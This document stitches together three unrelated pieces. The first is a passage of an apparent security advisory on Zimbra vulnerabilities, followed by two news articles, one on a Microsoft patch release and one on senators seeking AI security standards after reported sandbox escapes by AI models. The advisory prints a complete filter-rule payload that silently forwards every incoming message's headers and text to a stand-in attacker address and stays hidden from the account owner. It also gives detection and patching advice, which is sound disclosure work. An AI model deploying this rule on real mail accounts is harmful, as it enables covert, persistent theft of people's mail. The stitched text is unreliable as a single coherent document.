// FilterUtil.getVarsMap() excerpt
// ... case-insensitive variable-map construction omitted
Enumeration enumeration = mimeMessage.getAllHeaders();
while (enumeration.hasMoreElements()) {
Header header = (Header)enumeration.nextElement();
vars.put(header.getName().toLowerCase(),
ZInternetHeader.decode(
mimeMessage.getHeader(header.getName(), ","))); // [2] decoded headers
}
vars.put("subject", parsedMessage.getSubject());
MPartInfo bodyPart = Mime.getTextBody(parsedMessage.getMessageParts(), false);
if (bodyPart != null) {
// ... IOException handling omitted
vars.put("body", Mime.getStringContent(
bodyPart.getMimePart(),
mailbox.getAccount().getPrefMailDefaultCharset())); // [3] selected text body
}
return vars;When the rule runs, Notify.executeBasic() expands those variables into the notification subject and body. [2] makes decoded headers available, and [3] supplies the text part selected by Mime.getTextBody(). It does not supply raw MIME or attachments.
An authenticated user can place the following rule object inside ModifyFilterRulesRequest:
<filterRule name="Email Notification" active="1">
<filterTests condition="allof"><trueTest/></filterTests>
<filterActions>
<actionNotify a="attacker@external.example"
su="Fwd: ${subject}"
content="From: ${from}
To: ${to}
Subject: ${subject}
${body}"/>
<actionKeep/>
</filterActions>
</filterRule>actionKeep leaves the original message in the user's Inbox, while each matching delivery sends the selected message text and headers to the external address.
The CVE-2026-50055 PoC preserves existing filters while installing the notify rule. After an ordinary message arrived for the filtered account, another mailbox received its subject, sender, recipients, date and complete text body. The CVE-2026-50055 tracker entry has the complete affected-version information.
The persistence is not apparent in Modern. During testing, the server returned the active notification rule while the same account's Filters view remained empty. The server continued to run the rule normally, but Modern did not give the account owner a way to discover or remove it.
Classic did list the attacker-selected name under Active Filters, but its overview did not expose the notification address or copied fields. The rule is therefore not invisible from every client, and an attacker can choose a less conspicuous name.
The flaw defeats an administrator's attempt to prevent users from forwarding mail with server-side filters. An attacker with an authenticated session can install the rule directly. It continues to disclose future message text and headers after that session expires or the password changes, without appearing in Modern's Filters view. It does not forward attachments or raw MIME.
The patch in ZCS 10.1.20 treats notify and its RFC-compliant variant as forwarding actions and rejects them under the same account policy as redirect.
Apply the latest supported Zimbra release. Zimbra's security advisory lists CVE-2026-73571 as fixed in ZCS 10.1.17 and CVE-2026-10631 and CVE-2026-50055 as fixed in ZCS 10.1.20. No fixed release is publicly listed for CVE-2026-93635 or CVE-2026-93637 at the time of publication, so install the security update containing those fixes when Zimbra releases it.
Upgrading does not remove filter rules already saved to accounts. Administrators should inspect the stored incoming and outgoing filter rules for external actionNotify and RFC-compliant notify actions that violate forwarding policy; Modern's Filters view is not sufficient for this review.
A reverse proxy or web application firewall that inspects request bodies can detect multiple authenticate aliases in one anonymous GraphQL request. Zimbra's EWS logs expose cross-user operations involving two different account UUIDs, as shown in the EWS IoCs. Saved notify rules and outbound notification traffic provide more direct evidence of the Sieve path.
EWS creates no delegation grant to revoke, Sieve rules remain as saved account state, and sender impersonation can generate ordinary Sent and MTA artifacts. Recovery must cover those server-side changes and any other mailbox reached, not only the password of the account first compromised.
The assessment was conducted by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, in accordance with Rapid7's vulnerability disclosure policy.
April 17, 2026: Rapid7 submitted an initial report covering 23 findings.
April 24, 2026: Zimbra acknowledged the report.
May 21, 2026: Zimbra confirmed they validated 10 of the 23 findings, three of which were duplicates.
May 28, 2026: ZCS 10.1.17 fixed CVE-2026-73571.
June 1, 2026: Zimbra requested an embargo on publication until the planned ZCS 10.1.18 release in September.
June 16 and July 7, 2026: ZCS 10.1.18 and 10.1.19 were released without additional fixes from the initial report.
July 15, 2026: Zimbra and Rapid7 agreed on September 24 as the coordinated disclosure date.
July 20, 2026: ZCS 10.1.20 fixed three additional CVE-assigned findings from the initial report: CVE-2026-50054, CVE-2026-10631 and CVE-2026-50055.
August 19, 2026: Rapid7 submitted a second report containing 32 additional findings.
August 31, 2026: Rapid7 and Zimbra met to prioritize remediation and discuss patch verification.
September 8, 2026: Rapid7 submitted a third report containing 25 lower-priority findings.
September 17–18, 2026: Zimbra requested 90 days from receipt of the later report before publication of full technical details. Rapid7 scheduled those later findings for November 23.
September 24, 2026: ZCS 10.1.21 fixed four findings from the second report. Rapid7 presented selected results and attack chains at BruCON without releasing the associated weaponized PoCs.
Microsoft’s streak of record-breaking vulnerability disclosures continued with a mega Patch Tuesday, containing 1,413 defects affecting the company’s various enterprise products and services.
The monthly batch of patches surpassed the company’s previous annual record of 1,261 common vulnerabilities and exposures (CVEs) set in 2020.
“Hundreds of CVEs in a single release used to be the exception — now it’s the baseline,” Dustin Childs, head of threat awareness at TrendAI’s Zero Day Initiative, wrote in an email. AI is partly to blame, he added, but it “isn’t creating these bugs out of thin air; it’s just shortening the time between a vulnerability existing and someone noticing it.”
Yet, for defenders understandably overwhelmed by the surge of defects found in Microsoft products, actively exploited zero-day vulnerabilities aren’t growing in kind.
“If there’s solace to be had, it’s in the fact that only one of these bugs is under active attack,” Childs wrote in a blog post. “If you go back to the hot 0-day summer of 2023, there were 17 Microsoft 0-days between January and October as opposed to 15 this year during the same period.”
Microsoft disclosed one actively exploited zero-day affecting Windows Shell — CVE-2026-96951 — that allows unauthorized attackers to bypass a security feature. The high-severity defect is the third Windows Shell vulnerability exploited this year, according to Satnam Narang, senior staff research engineer at Tenable.
“There have been 26 Windows Shell vulnerabilities patched in 2026 through October, a staggering figure compared to previous years, with only 3 Windows Shell CVEs in 2025 and just one in 2024 and 2022,” he added.
The vast majority of defects Microsoft disclosed in this month’s security update affect Windows, its ubiquitous operating system , spanning 1,102 vulnerabilities combined. The update also included 134 vulnerabilities in Office, 61 in various developer tools and 36 in SharePoint Server.
Microsoft tried to address the toll this monthly flood of vulnerabilities has on its customers by introducing “risk cohorts.” These groups of vulnerabilities don’t necessarily share a root cause or severity rating, but generally require a similar customer assessment that could guide prioritization efforts, the company said.
“The volume isn’t the real story anymore,” Childs added. “What matters is that discovery is scaling faster than exploitation, so teams that triage by sheer CVE count instead of exploitability are burning cycles on the wrong bugs. Patch what’s proven, prioritized, and public, and treat everything else as this month’s new normal.”
The full list of vulnerabilities addressed this month is available in Microsoft’s Security Response Center.
The post Microsoft drops an actively exploited zero-day among record high of 1,413 vulnerabilities appeared first on CyberScoop.
Members of Congress are pressing the Trump administration to expand the federal government’s role in securing artificial intelligence, wanting new safety standards and regulations, independent testing of models and more “aggressive” use of AI for defensive cybersecurity purposes.
In a letter, Sens. Maria Cantwell, D-Wash., and Mike Rounds, R-S.D., said that multiple incidents of frontier AI models escaping sandbox protections and breaching real companies, organizations and governments necessitate a stronger federal role in regulating the technology.
Recent revelations that hundreds, and possibly “tens of thousands,” of such incidents may have occurred for months without OpenAI’s staff detecting them makes the need for federal intervention even more urgent, the senators argued.
“These incidents come as AI systems are becoming dramatically more capable at discovering software vulnerabilities, writing and executing code, using digital tools, and operating autonomously,” the senators wrote.
The letter, addressed to Jay Clayton, director of national intelligence and new White House “AI czar” and Michael Kratsios, director of the Office of Science and Technology Policy, urges the federal government “to bring its full capacities to bear on this challenge, building a coordinated national response around standards, testing, auditing, and defensive AI.”
The Center for Advancing Innovation and Standards for Super Intelligence (CAISSI), housed within the Department of Commerce, has become the Trump administration’s main body for evaluating and testing AI models. In the letter, the senators are seeking to expand the center’s resources and mandate.
Under the Trump administration, testing of frontier models has been voluntary and focused on evaluating model capabilities, not restricting them. The administration has since said it has reached a safety testing framework with OpenAI, Anthropic and other AI companies to govern safety testing, but has not made the agreement public.
The senators call for CAISSI to spearhead the development of “technically grounded and measurable standards and risk management frameworks for advanced AI safety and security.” Those standards would address potential risks like cyberattacks, automated attacks on critical infrastructure and other threats.
“The standards should also address the security of the environments in which advanced AI systems are developed, trained, tested, and used internally, including protections against agents escaping testing environments, gaining unauthorized access to external systems, or taking actions beyond their intended permissions,” the senators wrote.
The letter argues the center and federal technology hubs like the National Institute of Standards and Technology should hire additional expertise in AI, cybersecurity, model evaluation and national security.
It also calls for a much broader community of independent and third-party testers. Currently, that testing is done almost entirely by AI companies and hand-selected auditors, like Model Evaluation and Threat Research (METR), Redwood Research and others.
Last month, Chris Painter, president of METR, told Congress that the firm’s investigation of the Hugging Face hacking incident was at the invitation of OpenAI, which tightly controls which organizations and testers get access to its unreleased models. While they are permitted to publicize some findings, such as those that relate to potentially catastrophic risks to humanity, researchers are otherwise restricted from discussing other parts of their investigation through nondisclosure agreements.
Additionally, Painter suggested that frontier companies are relying too heavily on their own technology, rather than technical controls, to monitor and restrain their models in testing.
“Because of the scale and speed at which AI agents are deployed, companies depend on AI monitoring and controls instead of human supervision, to prevent unwanted agent behavior,” Painter said. “That is, monitoring of AI is now in large part done by other AI systems.”
The senators call for CAISSI, national laboratories and the Department of Energy to become federal testing sites. There, the government would evaluate AI models for advanced cyber capabilities, biological or chemical threats, threats to critical infrastructure, sandbox evasion techniques and other autonomous rule-breaking behavior. They also want testing opened to universities, independent research organizations and “qualified third-party evaluators,” including private sector companies.
Other federal bodies, like the National Security Agency, the Defense Advanced Research Projects Agency and National Science Foundation can help develop new standards and testbeds for AI tools used in defensive cybersecurity that can then be shared across government and with the public.
“The recent incidents make clear that the security infrastructure surrounding advanced AI must advance as quickly as the technology itself,” the senators wrote. “The United States has an opportunity to lead both sides of this challenge: building the standards, testing, and auditing infrastructure needed for increasingly powerful AI, while harnessing those same capabilities to make American networks harder to attack.”
You can read the full letter here.
The post Senators press Trump admin to rally federal government around AI safety, security appeared first on CyberScoop.
